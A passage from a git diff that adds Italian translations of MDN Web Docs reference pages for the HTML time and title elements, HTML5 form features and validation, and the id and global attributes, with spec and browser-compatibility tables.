+  Questo attributo indica il tempo e la data dell'elemento e deve essere una <a class="external" href="http://www.w3.org/TR/html-markup/datatypes.html#common.data.datetime" title="http://www.w3.org/TR/html5/common-microsyntaxes.html#valid-date-string-with-optional-time">stringa di data valida con tempo facoltativo</a>. Se il valore non può essere interpretato come data con tempo facoltativo, l'elemento non ha un datestamp associato.</dd>
+</dl>
+<h2 id="Esempi">Esempi</h2>
+<h3 id="Simple_example" name="Simple_example">Esempio semplice</h3>
+<pre class="brush: html">&lt;p&gt;Il concerto inizia alle &lt;time&gt;20:00&lt;/time&gt;.&lt;/p&gt;
+</pre>
+<p>L'output del codice HTML in alto:</p>
+<p>Il concerto inizia alle 20:00.</p>
+<h3 id="Datetime_example" name="Datetime_example"><code><span style="font-family: 'Open Sans', sans-serif; font-size: 1.7142857142857142rem; line-height: 24px;">esempio </span>datetime</code></h3>
+<pre class="brush: html">&lt;p&gt;Il concerto si è svolto il &lt;time datetime="2001-05-15 19:00"&gt;15 Maggio &lt;/time&gt;.&lt;/p&gt;
+</pre>
+<p>Above HTML will output:</p>
+<p>Il concerto si è svolto il 15 Maggio.</p>
+<h2 id="Specifications" name="Specifications">Specifiche</h2>
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#the-time-element', '&lt;time&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'grouping-content.html#the-time-element', '&lt;main&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>No change from {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-time-element', '&lt;main&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Compatibilità_browser">Compatibilità browser</h2>
+<p>{{CompatibilityTable}}</p>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Basic support</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatGeckoDesktop("22.0")}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>11.50<br>
+     Removed in 15.0</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Android</th>
+    <th>Chrome for Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Basic support</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatGeckoMobile("22.0")}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>11.50<br>
+     Removed in 15.0</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h2 id="See_also" name="See_also">Vedi anche</h2>
+<ul>
+ <li>The {{HTMLElement("data")}} element, allowing to signal other kind of values.</li>
+</ul>
+<p>{{HTMLRef}}</p>
diff --git a/files/it/web/html/element/title/index.html b/files/it/web/html/element/title/index.html
new file mode 100644
index 0000000000..4bbf5ffc4c
--- /dev/null
+++ b/files/it/web/html/element/title/index.html
@@ -0,0 +1,56 @@
+---
+title: <title>
+slug: Web/HTML/Element/title
+translation_of: Web/HTML/Element/title
+---
+<h2 id="Sommario">Sommario</h2>
+
+<p>L'<strong>elemento HTML <code>&lt;title&gt;</code></strong> definisce il titolo della pagina, mostrato nella barra del titolo di un browser o nella scheda contenente la pagina. Può contenere solo testo e non viene interpretato nessun tag in esso contenuto.</p>
+
+<ul class="htmlelt">
+ <li><dfn><a href="/en-US/docs/HTML/Content_categories" title="HTML/Content_categories">Categorie di contenuto</a></dfn>Metadati.</li>
+ <li><dfn>Contenuti permessi</dfn> Testo</li>
+ <li><dfn>Omissione del tag</dfn> {{no_tag_omission}}. Notare che, omettendo il tag di chiusura <code>&lt;/title&gt;</code>, il browser ignorerebbe il resto della pagina.</li>
+ <li><dfn>Elementi genitore permessi</dfn>Un elemento {{ HTMLElement("head") }} che non contenga altri elementi {{ HTMLElement("title") }}.</li>
+ <li><dfn>Interfaccia DOM</dfn> {{domxref("HTMLTitleElement")}}</li>
+</ul>
+
+<h2 id="Attributi">Attributi</h2>
+
+<p><span style="line-height: 21px;">Questo elemento include solo gli </span><a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">attributi globali</a>.</p>
+
+<h2 id="Esempio">Esempio</h2>
+
+<pre class="brush: html">&lt;title&gt;Titolo della pagina&lt;/title&gt;
+</pre>
+
+<h2 id="Specifications" name="Specifications">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-title-element', '&lt;title&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'document-metadata.html#the-title-element', '&lt;title&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.4.2', '&lt;title&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{HTMLRef}}</p>
diff --git a/files/it/web/html/forms_in_html/index.html b/files/it/web/html/forms_in_html/index.html
new file mode 100644
index 0000000000..509b0a278f
--- /dev/null
+++ b/files/it/web/html/forms_in_html/index.html
@@ -0,0 +1,83 @@
+---
+title: Forms in HTML5
+slug: Web/HTML/Forms_in_HTML
+translation_of: Learn/HTML/Forms/HTML5_updates
+---
+<div>
+  {{gecko_minversion_header("2")}}</div>
+<h2 id="Sommario">Sommario</h2>
+<p>Gli elementi e gli attributi dei form in <strong>HTML5</strong> forniscono un mark-up più ricco di valore semantico rispetto ad HTML4, e alleggeriscono gli sviluppatori dalla necessità di scripting e styling intensivo richiesta da HTML4. Le caratteristiche dei form HTML5 generano anche una migliore esperienza utente, rendendo i form più coerenti tra i diversi siti web fornendo un feedback immediato all'utente in merito ai dati inseriti. La funzionalità viene fornita anche agli utenti che hanno disabilitato lo scripting nel browser.</p>
+<p>Questa sezione descrive gli elementi nuovi o modificati in HTML5, che sono supportati da Gecko / Firefox, versione 4 o superiore.</p>
+<h2 id="The_input_element" name="The_input_element">L'elemento <code>&lt;input&gt;</code></h2>
+<p>L'elemento <code>{{HTMLElement("input")}}</code> ha alcuni nuovi valori per l'attributo {{htmlattrxref("type", "input")}}.</p>
+<ul>
+  <li><code>search</code>: L'elemento rappresenta un campo di ricerca. Le interruzioni di riga vengono rimosse automaticamente dal valore immesso, ma nessun'altra sintassi viene imposta.</li>
+  <li><code>tel</code>: L'elemento rappresenta un controllo per la modifica di un numero telefonico. Le interruzioni di riga vengono rimosse automaticamente dal valore immesso, ma nessun'altra sintassi viene imposta, dato che la formattazione dei numeri di telefono varia notevolmente a livello internazionale. È possibile utilizzare attributi quali {{htmlattrxref("pattern", "input")}} e {{htmlattrxref("maxlength", "input")}} per limitare i valori immessi nel controllo.</li>
+  <li><code>url</code>: L'elemento rappresenta un controllo per la modifica di un <a class="external" href="http://it.wikipedia.org/wiki/URL" title="http://it.wikipedia.org/wiki/URL">URL</a>. Le interruzioni di riga e gli spazi vuoti finali vengono eliminati automaticamente dal valore immesso.</li>
+  <li>
+    <p><code>email</code>: L'elemento rappresenta un controllo per la modifica di un indirizzo email. Le interruzioni di riga vengono rimosse automaticamente dal valore immesso. Un indirizzo e-mail non valido può essere immesso, ma il campo di input verrà validato solo se l'indirizzo di posta elettronica soddisfa la produzione ABNF <code>1*( atext / "." ) "@" ldh-str 1*( "." ldh-str )</code> dove <code>atext</code> è definito in <a class="external" href="http://tools.ietf.org/html/rfc5322#section-3.2.3">RFC 5322 sezione 3.2.3</a>, e <code>ldh-str</code> è definito in <a class="external" href="http://tools.ietf.org/html/rfc1034#section-3.5">RFC 1034 sezione 3.5</a>.</p>
+    <div class="note">
+      <strong>Nota:</strong> Se l'attributo {{htmlattrxref("multiple", "input")}} è presente, potranno essere inseriti diversi indirizzi email nel {{HTMLElement("input")}}, ad esempio una lista di email separate da virgole, ma questa funzionalità al momento non è stata implementata in Firefox.</div>
+  </li>
+</ul>
+<p>L'elemento {{HTMLElement("input")}} ha anche nuovi attributi:</p>
+<ul>
+  <li>{{htmlattrxref("list", "input")}}: l'ID di un elemento {{HTMLElement("datalist")}} il cui contenuto, che consiste in elementi {{HTMLElement("option")}}, dovrà essere utilizzato come suggerimento: le {{HTMLElement("option")}} (opzioni) vengono visualizzate nell'area dedicata ai suggerimenti del campo di input.</li>
+  <li>{{htmlattrxref("pattern", "input")}}: Un'espressione regolare con cui il valore del controllo viene confrontato. Può essere usato negli {{HTMLElement("input")}} di tipo <code>text</code>, <code>tel</code>, <code>search</code>, <code>url</code>, ed <code>email</code>.</li>
+  <li>{{htmlattrxref("form", "input")}}: Una stringa indicante a quale elemento {{HTMLElement("form")}} "appartiene" l'input. Ogni input può appartenere ad un solo form.</li>
+  <li>{{htmlattrxref("formmethod", "input")}}: Una stringa indicante il metodo HTTP (GET o POST) da usare per l'invio dei dati al server; sovrascrive l'attributo {{htmlattrxref("method", "form")}} dell'elemento {{HTMLElement("form")}}, se definito. L'attributo {{htmlattrxref("formmethod", "input")}} può essere usato negli {{HTMLElement("input")}} di tipo <code>image</code> o <code>submit</code>, e quando l'attributo {{htmlattrxref("form", "input")}} è stato impostato.</li>
+  <li>{{htmlattrxref("x-moz-errormessage", "input")}} {{non-standard_inline}}: Una stringa che contiene un messaggio da visualizzare quando il campo non passa la validazione. Questo attributo è un'estensione di Mozilla, non rientra negli standard.</li>
+</ul>
+<h2 id="The_form_element" name="The_form_element">L'elemento <code>&lt;form&gt;</code></h2>
+<p>L'elemento {{HTMLElement("form")}} ha un nuovo attributo:</p>
+<ul>
+  <li>{{htmlattrxref("novalidate", "form")}}: Questo attributo fa in modo che il form <strong>non</strong> richieda la validazione.</li>
+</ul>
+<h2 id="The_datalist_element" name="The_datalist_element">L'elemento <code>&lt;datalist&gt;</code></h2>
+<p>L'elemento {{HTMLElement("datalist")}} racchiude una lista di elementi {{HTMLElement("option")}} da suggerire all'utente durante la compilazione di un {{HTMLElement("input")}}.</p>
+<p>Puoi aggiungere l'attributo {{htmlattrxref("list", "input")}} ad un elemento {{HTMLElement("input")}} per collegare un campo specifico ad un elemento {{HTMLElement("datalist")}} specifico.</p>
+<h2 id="The_output_element" name="The_output_element">L'elemento <code>&lt;output&gt;</code></h2>
+<p>L'elemento <code>{{HTMLElement("output")}}</code> rappresenta il risultato di una computazione (un calcolo).</p>
+<p>Puoi usare l'attributo {{htmlattrxref("for", "output")}} per specificare una relazione tra un elemento <code>{{HTMLElement("output")}}</code> e altri elementi del documento che hanno influenzato la computazione (come input o parametri). Il valore dell'attributo {{htmlattrxref("for", "output")}} è una lista di ID degli altri elementi separati da spazi.</p>
+<p>{{non-standard_inline}} Gecko 2.0 (ma non necessariamente altri motori di rendering dei browser) supporta la definizione di vincoli di validità personalizzati e messaggi di errore per gli elementi {{HTMLElement("output")}}, e pertanto applica le pseudo-classi CSS {{Cssxref(":invalid")}}, {{Cssxref(":valid")}}, {{Cssxref(":-moz-ui-invalid")}}, e {{Cssxref(":-moz-ui-valid")}} anche ad esso. Ciò può essere utile in situazioni in cui il risultato calcolato viola una regola, ma nessun valore immesso specifico lo fa (per esempio, "La somma totale delle percentuali non deve superare il 100%").</p>
+<h2 id="The_placeholder_attribute" name="The_placeholder_attribute">L'attributo <code>&lt;placeholder&gt;</code> (testo segnaposto)</h2>
+<p>L'attributo {{htmlattrxref("placeholder", "input")}} si applica agli elementi {{HTMLElement("input")}} e {{HTMLElement("textarea")}}, fornendo all'utente un suggerimento su cosa dovrebbe immettere nel campo. Il testo segnaposto non deve contenere interruzioni di linea.</p>
+<h2 id="The_autofocus_attribute" name="The_autofocus_attribute">L'attributo <code>&lt;autofocus&gt;</code></h2>
+<p>L'attributo {{htmlattrxref("autofocus", "input")}} consente di specificare che un campo dovrebbero ricevere il focus (dovrebbe essere "focalizzato") al caricamento della pagina, a meno che l'utente non decida altrimenti, per esempio immettendo dati in un altro campo. L'attributo <code>autofocus</code>, Booleano, può essere assegnato ad un solo campo per ciascun form. Si applica agli elementi <code>{{HTMLElement("input")}}</code>, <code>{{HTMLElement("button")}}</code>, <code>{{HTMLElement("select")}}</code> e <code>{{HTMLElement("textarea")}}</code>. Unica eccezione: non può essere assegnato agli elementi <code>{{HTMLElement("input")}}</code> che abbiano l'attributo {{htmlattrxref("type", "input")}} impostato su <code>hidden</code> (ovviamente non si può focalizzare un elemento nascosto).</p>
+<h2 id="The_label.control_DOM_property" name="The_label.control_DOM_property">La proprietà label.control del DOM</h2>
+<p>L'interfaccia DOM <code><a href="/en-US/docs/DOM/HTMLLabelElement" title="DOM/HTMLLabelElement">HTMLLabelElement</a></code> fornisce una proprietà extra, oltre alle proprietà che corrispondono agli attributi dell'elemento HTML <code>{{HTMLElement("label")}}</code>. La proprietà <strong>control</strong> restituisce il campo etichettato, cioè il campo a cui si riferisce l'etichetta (label), che è determinato dall'attributo {{htmlattrxref("for", "label")}} (se definito) o dal primo campo contenuto nell'etichetta.</p>
+<h2 id="Constraint_Validation" name="Constraint_Validation">Vincoli di Validazione</h2>
+<p>HTML5 fornisce sintassi ed elementi API per supportare la validazione lato client dei form. Anche se questa funzionalità non sostituisce la validazione lato server, che è ancora necessaria per la protezione e l'integrità dei dati, la validazione lato client può fornire una migliore esperienza utente, dando all'utente un feedback immediato sui dati immessi.</p>
+<p>Se l'attributo <code>title</code> viene impostato su di un elemento {{HTMLElement("input")}}, il suo valore è usato come tooltip. Tuttavia, se la validazione fallisce, il tooltip sarà sostituito con un messaggio di errore. È possibile personalizzare tale messaggio di errore usando l'attributo non-standard {{htmlattrxref("x-moz-errormessage")}} o con il metodo <code>setCustomValidity()</code>.</p>
+<pre class="brush: html">&lt;input type="email" title="Si prega di fornire una e-mail" x-moz-errormessage="E-mail non valida"&gt;</pre>
+<div class="note">
+  <strong>Nota:</strong> I vincoli di validazione non sono supportati dagli elementi {{HTMLElement("button")}}; per assegnare uno stile ai bottoni in base allo status di validazione del form, usare la pseudo-classe {{cssxref(":-moz-submit-invalid")}}.</div>
+<h3 id="HTML_Syntax_for_Constraint_Validation" name="HTML_Syntax_for_Constraint_Validation">Sintassi HTML per Vincolare la Validazione</h3>
+<p>I seguenti elementi di sintassi HTML5 possono essere usati per specificare i vincoli sui dati immessi nel form.</p>
+<ul>
+  <li>L'attributo {{htmlattrxref("required", "input")}} nell'elemento {{HTMLElement("input")}}, {{HTMLElement("select")}} e {{HTMLElement("textarea")}} indica che il campo deve essere compilato. (Sull'elemento {{HTMLElement("input")}}, {{htmlattrxref("required", "input")}} si applica solo in combinazione con alcuni valori dell'attributo {{htmlattrxref("type", "input")}})</li>
+  <li>L'attributo {{htmlattrxref("pattern", "input")}} nell'elemento {{HTMLElement("input")}} vincola il valore in modo che corrisponda una specifica espressione regolare.</li>
+  <li>Gli attributi {{htmlattrxref("min", "input")}} e {{htmlattrxref("max", "input")}} nell'elemento {{HTMLElement("input")}} vincola il valore specificando il valore minimo e massimo che può essere immesso.</li>
+  <li>L'attributo {{htmlattrxref("step", "input")}} nell'elemento {{HTMLElement("input")}} (se usato in combinazione con gli attributi {{htmlattrxref("min", "input")}} e {{htmlattrxref("max", "input")}} ) vincola la granularità dei valori che possono essere immessi. I valori che non corrispondono ad uno degli "step" consentiti non passano la validazione.</li>
+  <li>L'attributo {{htmlattrxref("maxlength", "input")}} negli elementi {{HTMLElement("input")}} e {{HTMLElement("textarea")}} vincola il numero massimo di caratteri (in base a punti di codice Unicode) che l'utente può immettere.</li>
+  <li>I valori <code>url</code> e <code>email</code> nell'attributo {{htmlattrxref("type", "input")}} restringono i valori accettati rispettivamente ad un URL o ad un indirizzo e-mail valido.</li>
+</ul>
+<p>In aggiunta, è possibile evitare i vincoli di validazione specificando l'attributo {{htmlattrxref("novalidate", "form")}} nel {{HTMLElement("form")}}, o l'attributo {{htmlattrxref("formnovalidate", "button")}} nell'elemento {{HTMLElement("button")}} o nell'elemento {{HTMLElement("input")}} (quando l'attributo {{htmlattrxref("type", "input")}} è impostato su <code>submit</code> o <code>image</code>). Questi attributi indicano che il form <strong>non</strong> deve essere validato.</p>
+<h3 id="Constraint_Validation_API" name="Constraint_Validation_API">API per i Vincoli di Validazione</h3>
+<p>Le seguenti proprietà e metodi del DOM, correlati ai vincoli di validazione, sono disponibili agli scripts lato client:</p>
+<ul>
+  <li>Negli oggetti <code><a href="/en-US/docs/DOM/HTMLFormElement" title="DOM/HTMLFormElement">HTMLFormElement</a></code>, il metodo <code>checkValidity()</code> restituisce "true" se tutti gli elementi associati a tale elemento del form che sono soggetti a validazione soddisfano i loro vincoli, e "false" se non lo fanno.</li>
+  <li>On <a href="/en-US/docs/HTML/Content_categories#Form-associated" title="HTML/Content Categories#form-associated">form-associated elements</a>:
+    <ul>
+      <li>La proprietà <code>willValidate</code> è "false" se l'elemento non soddisfa i vincoli di validazione.</li>
+      <li>La proprietà <code>validity</code> è un oggetto <code><a href="/en-US/docs/DOM/ValidityState" title="DOM/ValidityState Interface">ValidityState</a></code> rappresentante lo stato di validazione dell'elemento.</li>
+      <li>La proprietà <code>validationMessage</code> è un messaggio che descrive eventuali errori relativi ai vincoli impostati sull'elemento.</li>
+      <li>Il metodo <code>checkValidity()</code>, se l'elemento non soddisfa uno o più dei suoi vincoli, o true in caso contrario.</li>
+      <li>Il metodo <code>setCustomValidity()</code> imposta un messaggio di errore personalizzato, permettendo anche ai vincoli personalizzati di essere imposti e validati, oltre a quelli predefiniti.</li>
+    </ul>
+  </li>
+</ul>
+<h2 id="Vedi_anche">Vedi anche</h2>
+<ul>
+  <li><a href="/en-US/docs/HTML/Forms" title="/en-US/docs/HTML/Forms">Guida ai Forms HTML</a></li>
+</ul>
diff --git a/files/it/web/html/global_attributes/id/index.html b/files/it/web/html/global_attributes/id/index.html
new file mode 100644
index 0000000000..e6ec20cfda
--- /dev/null
+++ b/files/it/web/html/global_attributes/id/index.html
@@ -0,0 +1,109 @@
+---
+title: id
+slug: Web/HTML/Global_attributes/id
+translation_of: Web/HTML/Global_attributes/id
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p>L' <a href="/en-US/docs/Web/HTML/Global_attributes">attributo globale</a> id definisce un identificatore univoco(ID) che deve esser univoco nell'intero documento. Il suo scopo è quello di identificare l'elemento in un collegamento(using a fragment identifier), negli script, o nella parte grafica (con i CSS).</p>
+
+<p>Il valore di questo attributo è una "stringa opaca": questo significa che l'autore non lo utilizza per comunicare informazioni. Particular meaning, for example semantic meaning, must not be derived from the string.</p>
+
+<p>Il valore di questo attributo non deve contenere whitespace (spazi, tab etc.). I browser trattano i whitespace che sono nell'ID come se ne facessero parte. Al contrario dell'attributo <strong>class</strong>, che permette valori separati da uno spazio, ogni elemento puo avere soltanto un ID.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Usando caratteri al di fuori delle lettere, numeri, <code>'_'</code>, <code>'-'</code> e <code>'.'</code> , può causare problemi di compatibilità, dato che loro non sono permessi nell'HTML 4. Anche questa restrizione è stata rimossa nell'HTML 5, un id dovrebbe iniziare con una lettera per compatibilità.</p>
+</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "dom.html#the-id-attribute", "id")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from latest snapshot, {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "dom.html#the-id-attribute", "id")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot of {{SpecName('HTML WHATWG')}}, no change from {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "dom.html#the-id-attribute", "id")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of {{SpecName('HTML WHATWG')}}, now accept <code>'_'</code>, <code>'-'</code> and <code>'.'</code> if not at the beginning fo the id. It is also a true global attribute.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/global.html#adef-id', 'id')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Supported on all elements but {{HTMLElement("base")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}}, and {{HTMLElement("title")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] <code>id</code> is a true global attribute only since Gecko 32.0 {{geckoRelease("32.0")}}.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>All <a href="/en-US/docs/Web/HTML/Global_attributes">global attributes</a>.</li>
+ <li>{{domxref("Element.id")}} that reflects this attribute.</li>
+</ul>
diff --git a/files/it/web/html/global_attributes/index.html b/files/it/web/html/global_attributes/index.html
new file mode 100644
index 0000000000..84a66619b7
--- /dev/null
+++ b/files/it/web/html/global_attributes/index.html
@@ -0,0 +1,444 @@
+---
+title: Attributi globali
+slug: Web/HTML/Global_attributes
+translation_of: Web/HTML/Global_attributes
+---
+<p>HTML definisce alcuni attributi che sono comuni a tutti gli elementi HTML . Questi atttributi possono essere utilizzati su tutti gli elementi, anche se gli attributi possono non avere effetti su alcuni elemento.</p>
+<div class="note">
+ <p><strong>Nota d'uso:</strong> La specifica HTML5 afferma che gli attributi globali possono essere specificati su tutti gli elementi HTML, <em>anche quelli non specificati in HTML5</em>. Questo significa che tutti gli elementi non-standard devono comunque consentire l'uso di questi attributi, anche se con l'utilizzo di tali elementi,  il documento non è più HTML5-compliant. Per esempio, i browser HTML5-compliant nascondono i contenuti contrassegnati come <code>&lt;foo hidden&gt;...&lt;foo&gt;</code><code style="font-size: 14px;">,</code><span style="line-height: 1.572;">anche se </span><code>&lt;foo&gt;</code><span style="line-height: 1.572;"> non è un valido elemento HTML.</span></p>
+</div>
+<h2 id="accesskey"><code><a name="attr-accesskey">accesskey</a></code></h2>
+<p class="note">Questo attributo fornisce un suggerimento per generare una scorciatoia da tastiera per l'elemento corrente. Questo attributo è costituito da un elenco separato da spazi di caratteri (un singolo punto Unicode). Il browser dovrebbe utilizzare il primo che esiste sul layout di tastiera del computer.<br>
+ {{ HTMLVersionInline(4) }} Nelle precedenti versioni dell'HTML, solo un carattere poteva essere specificato. Inoltre non era un attributo globale e poteva essere applicato solo ai tag {{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("button") }}, {{ HTMLElement("input") }}, {{ HTMLElement("label") }}, {{ HTMLElement("legend") }} and {{ HTMLElement("textarea") }}.</p>
+<div class="note">
+ <strong>Nota d'uso:</strong> L'operazione di attivare l'accesskey dipende dal browser e la piattaforma utilizzata.
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <th> </th>
+    <th>Windows</th>
+    <th>Linux</th>
+    <th>Mac</th>
+   </tr>
+   <tr>
+    <th>Firefox</th>
+    <td colspan="2" rowspan="1" style="text-align: center;">Alt + Shift + a key</td>
+    <td>
+     <ul>
+      <li>Firefox 14 or newer, Control + Alt + a key</li>
+      <li>Firefox 13 or older, Control + a key</li>
+     </ul>
+    </td>
+   </tr>
+   <tr>
+    <th>Internet Explorer</th>
+    <td>Alt + a key</td>
+    <td colspan="2" rowspan="1">N/A</td>
+   </tr>
+   <tr>
+    <th>Google Chrome</th>
+    <td colspan="2" rowspan="1" style="text-align: center;">Alt + a key</td>
+    <td>Control + Alt + a key</td>
+   </tr>
+   <tr>
+    <th>Safari</th>
+    <td>Alt + a key</td>
+    <td>N/A</td>
+    <td>Control + Alt + a key</td>
+   </tr>
+   <tr>
+    <th>Opera</th>
+    <td colspan="3" rowspan="1">Shift + Esc apre una lista dei contenuti che sono accessibili tramite un'accesskey, quindi può scegliere un elemento con una chiave</td>
+   </tr>
+  </tbody>
+ </table>
+ Notare che Firefox può personalizzare il tasto richiesto con le preferenze dell'utente</div>
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td>Normative document</td>
+   <td>{{SpecName('HTML WHATWG', "editing.html#the-accesskey-attribute", "accesskey")}} ({{ HTMLVersionInline(4) }}: {{SpecName('HTML4.01', "interact/forms.html#h-17.11.2", "accesskey")}})</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="class"><code><a name="attr-class">class</a></code></h2>
+<p>Questo attributo è un elenco separato da spazi delle classi dell'elemento. Le classi permettono ai CSS e Javascript di selezionare e accedere a elementi specifici con i <a href="/En/CSS/Class_selectors" title="https://developer.mozilla.org/En/CSS/Class_selectors">selettori di classe</a> o funzioni come il metodo DOM {{domxref("document.getElementsByClassName")}}.</p>
+<div class="note">
+ <p><strong>Nota d'uso:</strong> Anche se le specificazoni non pongono requisiti sul nome delle classi, gli sviluppatori del web sono incoraggiati ad usare nomi che descrivono lo scopo semantico dell'elemento, anzichè la presentazione dell'elemento (ad esempio, attributo che descrive un attributo piuttosto che
+  <i>
+   corsivo,</i>
+  anche se un elemento di questa classe può essere presentata dal corsivo). I nomi semantici rimangono logici, anche se la presentazione della pagina cambia.</p>
+</div>
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td>Normative document</td>
+   <td>{{SpecName('HTML WHATWG', "elements.html#classes", "class")}} ({{ HTMLVersionInline(4) }}: {{SpecName('HTML4.01', "struct/global.html#h-7.5.2", "class")}})</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="contenteditable"><code><a name="attr-contenteditable">contenteditable</a></code></h2>
+<p>{{ HTMLVersionInline(5) }} {{ Gecko_minversion_inline("1.9") }} This enumerated attribute indicates if the element should be editable by the user. If so, the browser modifies its widget to allow editing. The attribute must take one of the following values:</p>
+<ul>
+ <li><span style="font-family: Courier New;">true</span> or the <em>empty string</em>, which indicates that the element must be editable;</li>
+ <li><span style="font-family: Courier New;">false</span>, which indicates that the element must not be editable.</li>
+</ul>
+<p>If this attribute is not set, its default value is <em>inherited</em> from its parent element.</p>
+<div class="note">
+ <p><strong>Usage note: </strong>This attribute is an <em>enumerated</em> one and not a <em>Boolean </em>one. This means that the explicit usage of one of the values <span style="font-family: Courier New;">true</span>, <span style="font-family: Courier New;">false</span> or the empty string is mandatory and that a shorthand like <code>&lt;label contenteditable&gt;Example Label&lt;/label&gt; </code>is not allowed. The correct usage is <code>&lt;label contenteditable="true"&gt;Example Label&lt;/label&gt;</code>.</p>
+</div>
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td>Normative document</td>
+   <td>{{specname("HTML WHATWG", "editing.html#attr-contenteditable", "contenteditable")}}</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="contextmenu"><code><a name="attr-contextmenu">contextmenu</a></code></h2>
+<p>{{ HTMLVersionInline(5) }} {{ Gecko_minversion_inline("9.0") }} This attribute is related to the new {{specname("HTML WHATWG", "interactive-elements.html", "contextmenu")}}.</p>
+<p>A <em>context menu</em> is a menu that appears upon user interaction, such as a right-click. HTML5 now allows us to customize this menu. Here are some implementation examples, including nested menus.</p>
+<div id="ContextMenu_Example">
+ <p>The following HTML...</p>
